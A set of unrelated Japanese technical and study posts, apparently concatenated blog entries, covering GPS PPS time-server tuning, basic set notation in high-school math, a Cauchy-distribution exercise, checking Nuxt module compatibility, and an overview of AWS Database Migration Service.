何度か書いているが、PPS無しだとインターネットタイムサーバよりも精度が落ちる。インターネットに接続できないのでなければ、使わない方がマシ。

USBタイプのGPSレシーバーでPPS信号を出力できる製品は種類が少なく価格も高い。ただ大抵のGPSモジュールはPPS信号を出力ピンを持っているので、機種によっては改造してPPS信号得ることも可能。
例えばBU-353S4のようにシリアル-USB変換IC(Prolific製のPL2303)を使っているGPSレシーバーであれば、DCD信号の入力ピンにGPSモジュールのPPS出力ピンを繋いでやれば、PPS信号が出力されるようになる。残念ながら手持ちのBU-353S4は基板全体が金属プレートでシーリングされていて、ICにアクセスできなかった。Youtubeの分解動画にはシーリングされていないものもあったので、ロット違いらしい。
u-bloxのGPSモジュール使ってる製品だと、GPSモジュール自体が持っているUSB用信号をそのまま使っている製品がほとんどなのでどうにもならない。

## 2.2.送信センテンスの限定と転送速度
送信センテンスを減らすとjitterが小さくなった。特に転送速度が4800bpsと遅いBU-353S4は影響が大きく表れた。

115200bpsのLS22030-V2も思っていたよりjitterの変化が大きかった。後で調べたら位置情報のGBGSVセンテンスが1サイクル毎に20個と結構な数送られてきていた。GNRMCなどの時刻情報がその後だったりするので、転送速度が速くともセンテンスの送信順序や量によっては影響があるようだ。

いずれにせよntpdのNMEAドライバリファレンスに書かれている通り、センテンスの限定と転送速度のアップは行った方が良い。

## 2.3.校正に使用するインターネットタイムサーバ
NICTやMFEEDを使っていれば間違いはなさそうだが、ネットワーク環境にも依存するので他のサーバ含めて評価した上で選定する。プロバイダーが提供するインターネットタイムサーバを使う場合も同様。
(大手だがCloudflareのように遅延のあるインターネットタイムサーバもあるし)
集合の要素とその個数


今回は高校数学1Aで学習する"集合の要素"とその個数について解説します。

集合とは、要素が集まった塊です。

ここに集合Aを用意しました。

A={1,3,5,7}

Aという集合には、1,3,5,7という4つの数字が入っています。

この１つ１つの数字を集合Aの要素といいます。

要素の個数について解説します。

先ほどの集合Aを思い出してください。

A={1,3,5,7}

この集合には4つの要素が入っているので、要素の個数は4です。

そして要素の個数はn(A)と表し、今回の場合は

n(A)=4

となります。

参考記事：<a href="https://math-travel.com/higha1-1-1/">集合の要素の個数を求める方法</a>
4.12 (難) 二次元確率変数の変数変換7 正規分布の商としてのコーシー分布

## 方針

独立に標準正規分布に従う確率変数の商がコーシー分布になることを知らないと無理．変数変換した時の変数の対応する値の範囲に気をつける．

## 答案

![4.-13.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1702786/72b49bdd-7239-beb2-4e1b-d87bbda7815e.jpeg)
![4.-14.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1702786/69a84947-0a09-4b4a-0eff-a92a56dde3e5.jpeg)
![4.-15.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1702786/4c4cf30e-1686-3095-f649-8566d835035f.jpeg)
![4.-16.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1702786/d44db62b-e607-7029-3252-38677f980a51.jpeg)
![4.-17.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1702786/89de17b1-4316-b074-5123-2dffddf645e4.jpeg)


## 参考文献

- 『[現代数理統計学の基礎](https://www.kyoritsu-pub.co.jp/bookdetail/9784320111660)』(久保川達也　著)
Nuxtのライブラリが各バージョンに対応しているか確かめる方法




結論、公式をちゃんと探しましょうということです。

例.)toastがNuxt Bridgeに対応しているかどうか確認する方法。


https://modules.nuxtjs.org/?q=toast


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/659817/ee088b4d-281e-3be9-b35e-b50f766131fa.png)

nuxt bridgeのアイコンに対してホバーします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/659817/afa2c360-6a13-9126-66ed-3f8db2229378.png)

「Nuxt2 + Bridge : Not supported」と表示されました。

toastはNuxt Bridgeに対応していないみたいですね。以上です。
AWS Database Migration Service (DMS) 概要


* AWSのDB移行サービスであるAWS Data Migration Serviceについて個人用にメモする。 

## 概要

* DB移行に利用するAWSサービス

### 特徴

* セットアップ・利用が容易
* 異種データベース間の連携に対応
* テーブル定義を補助するツールの提供
* 継続的なレプリケーション

## ユースケース

* 同種/異種のデータベース間での移行
* クロスリージョンリードレプリカの作成
* メジャー/マイナーバージョンアップグレード
* S3へのデータアーカイブ
* NoSQL→SQL、SQL→NoSQLへの移行

## アーキテクチャ

* 論理レプリケーション

  ![dms_lr.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/586535/f06e1e92-cd82-1c82-4b69-3c86c013e03c.png)


  * 移行元DBで作成されたトランザクションログファイルからDMLを作成し、移行先DBに適用する。
    * MySQLの場合：binlog_format=ROWのバイナリログ
  * 連携単位：テーブル単位
  * DMSで作成されるオブジェクトはテーブルと主キーなどの一部の制約のみ
  * インデックスやプロシージャ、ビューは移行先に手動で反映する必要がある

### FULL Load方式

![dms_fullload.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/586535/e608d91c-b46c-7c44-ac97-be77a17a66ba.png)

1. SOURCE_UNLOADを実行する。
   * 移行元データベースに対してselect 文を1万件ずつ実行する。
     * 複数テーブルに対して同時に実施する（デフォルト8テーブル）。 
2. TARGET_LOADを実行する。
   * 移行先データベースに対してデータをロードする。
     * ロード方法はターゲットのエンジンにより異なる。
     * フルロード実施中発生した更新差分データは受信バッファで保持する。

### Change Data Capture(CDC)方式

![dms_cdc.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/586535/9fefaea4-8e7a-9126-878f-e283006df11e.png)


1. SOURCE_CAPTUREを実行する。
   * 移行元で発生したデータ変更を受信バッファにキャプチャする。 
2. SORTERを実行する。
   * キャプチャされたデータ変更を移行元から移行先へ仲介するバッファ
     * データ変更：コミット順にソート、コミット済みデータのみ送信バッファへ移動など 
3. TARGET＿APPLYを実行する
   * 送信バッファにキャプチャされたデータ変更を移行先へ適用する。



## 参考情報

* [AWS Database Migration Service ユーザーガイド](https://docs.aws.amazon.com/ja_jp/dms/latest/userguide/Welcome.html)
* [AWS Database Migration Service](https://d1.awsstatic.com/webinars/jp/pdf/services/20210216_Blackbelt_DatabaseMigrationService.pdf)